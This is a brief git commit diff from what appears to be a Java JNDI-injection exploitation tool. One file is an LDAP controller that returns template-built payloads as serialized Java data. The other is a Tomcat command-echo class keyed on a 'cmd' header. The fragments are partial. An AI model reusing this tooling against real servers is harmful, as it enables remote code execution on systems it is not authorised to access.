This commit is contained in:
qi4L
2024-05-14 17:11:22 +08:00
parent 1c84f63e00
commit c3eb683011
275 changed files with 2 additions and 3 deletions
@@ -73,7 +73,6 @@ public class TomcatBypassController implements LdapController {
String finalPayload = payloadTemplate.replace("{replacement}", code);
ref.add(new StringRefAddr("x", finalPayload));
e.addAttribute("javaSerializedData", Util.serialize(ref));
// 将条目发送至结果中,并将结果设置为成功
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
@@ -2,7 +2,7 @@ package com.qi4l.jndi.template.echo;
public class TomcatEcho {
public static String CMD_HEADER = "cmd";
public static String CMD_HEADER;
static {
try {